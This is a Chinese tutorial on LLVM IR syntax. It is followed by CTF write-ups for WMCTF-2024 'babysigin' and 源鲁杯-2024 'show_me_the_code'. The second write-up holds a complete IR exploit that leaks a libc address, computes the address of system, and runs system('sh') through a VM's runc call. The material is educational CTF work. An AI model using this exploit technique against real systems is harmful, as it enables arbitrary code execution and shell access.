llvm中ll文件解读
字数 1355 2025-08-20 18:17:53

LLVM IR (LL文件) 深入解析与实战应用

一、LLVM IR基础语法

1.1 变量表示

  • 全局变量:以@符号开头,如@global_var
  • 局部变量:以%符号开头,如%local_var

1.2 内存分配指令

  • alloca:在当前函数的堆栈帧中分配内存,函数返回时自动释放
    %ptr = alloca i32, align 4
    

1.3 数据类型

  • i32:32位(4字节)整数类型
  • 对齐(align):指定内存对齐方式
    %var = alloca i32, align 8  ; 8字节对齐
    

1.4 内存操作指令

  • load:从内存读取数据
    %val = load i32, i32* %ptr, align 4
    
  • store:向内存写入数据
    store i32 42, i32* %ptr, align 4
    

1.5 控制流指令

  • icmp:整数比较,返回布尔值
    %cmp = icmp eq i32 %a, %b
    
  • br:分支跳转
    br i1 %cond, label %if_true, label %if_false
    
  • label:代码标签,用于标记基本块
    label_name:
    

1.6 函数调用

  • call:调用函数
    %result = call i32 @func(i32 %arg)
    

二、LLVM IR类型系统

2.1 重要类型类

  • CallInst:表示函数调用指令
  • LoadInst:对应LLVM IR中的load指令
  • StoreInst:对应LLVM IR中的store指令

2.2 类型转换与检查

  • llvm::dyn_cast:动态类型转换和检查
    if (auto *load = dyn_cast<LoadInst>(value)) {
        // 处理LoadInst
    }
    

三、实战案例分析

3.1 WMCTF-2024 babysigin题目分析

3.1.1 关键函数要求

  1. WMCTF_WRITE

    • 参数必须通过LoadInst传递
    • 参数必须是全局变量
    • 正确示例:
      @cmd = dso_local global i32 34952, align 4
      %1 = load i32, i32* @cmd, align 4
      call void @WMCTF_WRITE(i32 noundef %1)
      
  2. WMCTF_OPEN

    • 参数必须是LoadInst类型
    • 参数名必须包含".addr"
    • 需要通过多层函数调用传递

3.1.2 解决方案

char *filename = "./flag";
char *flag = "./flag";
int cmd = 0x8888;

void func0(char *name) {
    WMCTF_OPEN(filename);
}

void func1(char *name) {
    func0(filename);
}

void func2(char *name) {
    func1(filename);
}

void func3(char *name) {
    func2(filename);
}

void func4(char *name) {
    flag = "./flag";
    func3(flag);
}

对应的LLVM IR关键部分:

@.str = private unnamed_addr constant [7 x i8] c"./flag\00", align 1
@.addr = dso_local global i8* getelementptr inbounds ([7 x i8], [7 x i8]* @.str, i32 0, i32 0), align 8

define dso_local void @func0(i8* noundef %0) {
    %2 = alloca i8*, align 8
    store i8* %0, i8** %2, align 8
    %3 = load i8*, i8** @.addr, align 8
    call void @WMCTF_OPEN(i8* noundef %3)
    ret void
}

3.2 源鲁杯-2024 show_me_the_code题目分析

3.2.1 关键结构体

class edoc {
public:
    void addi(unsigned char x, int y, int z);  // regs[x] = y + z
    void chgr(unsigned char x, int y);         // regs[x] += y (一次性)
    void sftr(unsigned char x, bool y, unsigned char z); // 移位操作
    void borr(unsigned char x, unsigned char y, unsigned char z); // 位或操作
    void movr(unsigned char x, unsigned char y); // 寄存器移动
    void save(unsigned char x, unsigned int y); // 内存存储
    void load(unsigned char x, unsigned int y);  // 内存加载
    void runc(unsigned char x, unsigned int y);  // 函数调用
};

3.2.2 利用思路

  1. 使用movr控制reg[6](mmap地址)
  2. 使用load实现任意地址读取
  3. 通过移位和算术运算计算system地址
  4. 使用runc执行system("sh")

3.2.3 完整利用代码

define dso_local void @_Z10c0deVmMainv() {
    ; ... (初始化操作)
    
    ; 获取__cxa_atexit地址
    call void @_ZN4edoc4loadEhj(%class.edoc* %9, i8 signext 2, i32 104)
    
    ; 计算system地址
    call void @_ZN4edoc4sftrEhbh(%class.edoc* %11, i8 signext 2, i1 zeroext true, i8 signext 44)
    call void @_ZN4edoc4sftrEhbh(%class.edoc* %12, i8 signext 2, i1 zeroext false, i8 signext 44)
    call void @_ZN4edoc4sftrEhbh(%class.edoc* %13, i8 signext 2, i1 zeroext false, i8 signext 12)
    call void @_ZN4edoc4chgrEhi(%class.edoc* %14, i8 signext 2, i32 11)
    call void @_ZN4edoc4sftrEhbh(%class.edoc* %15, i8 signext 2, i1 zeroext true, i8 signext 12)
    call void @_ZN4edoc4addiEhii(%class.edoc* %16, i8 signext 3, i32 3440, i32 0)
    call void @_ZN4edoc4borrEhhh(%class.edoc* %17, i8 signext 2, i8 signext 2, i8 signext 3)
    
    ; 准备调用system("sh")
    call void @_ZN4edoc4saveEhj(%class.edoc* %23, i8 signext 4, i32 0)
    call void @_ZN4edoc4addiEhii(%class.edoc* %24, i8 signext 5, i32 26739, i32 0)
    call void @_ZN4edoc4saveEhj(%class.edoc* %25, i8 signext 5, i32 8)
    call void @_ZN4edoc4runcEhj(%class.edoc* %28, i8 signext 0, i32 0)
    
    ret void
}

四、调试与分析技巧

  1. 动态调试

    • 使用gdb调试LLVM IR生成的程序
    • 关键断点设置:b *$rebase(0x1417)
  2. 逆向分析

    • 使用IDA Pro分析LLVM IR生成的二进制
    • 关注关键函数调用和类型检查
  3. LLVM IR生成

    clang -emit-llvm -S test.c -o test.ll
    opt -load ./WMCTF.so -WMCTF -enable-new-pm=0 ./test.ll
    

五、常见问题与解决方案

  1. LoadInst要求

    • 问题:直接传递常量不满足LoadInst要求
    • 解决:先定义全局变量再传递
      int cmd = 0x8888;
      WMCTF_WRITE(cmd);  // 正确
      WMCTF_WRITE(0x8888); // 错误
      
  2. 结构体名称检查

    • 问题:需要特定结构体名称(如class.edoc)
    • 解决:修改LLVM IR中的类型定义
      %class.edoc = type { i32 }  ; 替换所有struct.opcode
      
  3. 递归调用深度

    • 问题:WMCTF_OPEN需要特定调用深度
    • 解决:设计多层包装函数
      void func3() { func2(); }
      void func2() { func1(); }
      void func1() { WMCTF_OPEN(); }
      

六、总结与最佳实践

  1. LLVM IR编程要点

    • 明确区分全局和局部变量
    • 注意内存操作必须通过load/store
    • 理解类型系统的严格检查
  2. CTF挑战技巧

    • 动态调试获取关键数据(如vmkey)
    • 仔细分析类型检查逻辑
    • 必要时手动修改LLVM IR
  3. 性能考虑

    • 合理使用对齐(align)提升内存访问效率
    • 减少不必要的类型转换
    • 优化控制流结构

通过深入理解LLVM IR的语法和类型系统,结合实战中的调试和分析技巧,可以有效解决基于LLVM的各类逆向和漏洞利用挑战。关键是要掌握LLVM IR与高级语言之间的对应关系,以及LLVM严格的类型检查机制。

LLVM IR (LL文件) 深入解析与实战应用 一、LLVM IR基础语法 1.1 变量表示 全局变量 :以 @ 符号开头,如 @global_var 局部变量 :以 % 符号开头,如 %local_var 1.2 内存分配指令 alloca :在当前函数的堆栈帧中分配内存,函数返回时自动释放 1.3 数据类型 i32 :32位(4字节)整数类型 对齐(align) :指定内存对齐方式 1.4 内存操作指令 load :从内存读取数据 store :向内存写入数据 1.5 控制流指令 icmp :整数比较,返回布尔值 br :分支跳转 label :代码标签,用于标记基本块 1.6 函数调用 call :调用函数 二、LLVM IR类型系统 2.1 重要类型类 CallInst :表示函数调用指令 LoadInst :对应LLVM IR中的load指令 StoreInst :对应LLVM IR中的store指令 2.2 类型转换与检查 llvm::dyn_ cast :动态类型转换和检查 三、实战案例分析 3.1 WMCTF-2024 babysigin题目分析 3.1.1 关键函数要求 WMCTF_ WRITE : 参数必须通过LoadInst传递 参数必须是全局变量 正确示例: WMCTF_ OPEN : 参数必须是LoadInst类型 参数名必须包含".addr" 需要通过多层函数调用传递 3.1.2 解决方案 对应的LLVM IR关键部分: 3.2 源鲁杯-2024 show_ me_ the_ code题目分析 3.2.1 关键结构体 3.2.2 利用思路 使用 movr 控制 reg[6] (mmap地址) 使用 load 实现任意地址读取 通过移位和算术运算计算system地址 使用 runc 执行system("sh") 3.2.3 完整利用代码 四、调试与分析技巧 动态调试 : 使用gdb调试LLVM IR生成的程序 关键断点设置: b *$rebase(0x1417) 逆向分析 : 使用IDA Pro分析LLVM IR生成的二进制 关注关键函数调用和类型检查 LLVM IR生成 : 五、常见问题与解决方案 LoadInst要求 : 问题:直接传递常量不满足LoadInst要求 解决:先定义全局变量再传递 结构体名称检查 : 问题:需要特定结构体名称(如class.edoc) 解决:修改LLVM IR中的类型定义 递归调用深度 : 问题:WMCTF_ OPEN需要特定调用深度 解决:设计多层包装函数 六、总结与最佳实践 LLVM IR编程要点 : 明确区分全局和局部变量 注意内存操作必须通过load/store 理解类型系统的严格检查 CTF挑战技巧 : 动态调试获取关键数据(如vmkey) 仔细分析类型检查逻辑 必要时手动修改LLVM IR 性能考虑 : 合理使用对齐(align)提升内存访问效率 减少不必要的类型转换 优化控制流结构 通过深入理解LLVM IR的语法和类型系统,结合实战中的调试和分析技巧,可以有效解决基于LLVM的各类逆向和漏洞利用挑战。关键是要掌握LLVM IR与高级语言之间的对应关系,以及LLVM严格的类型检查机制。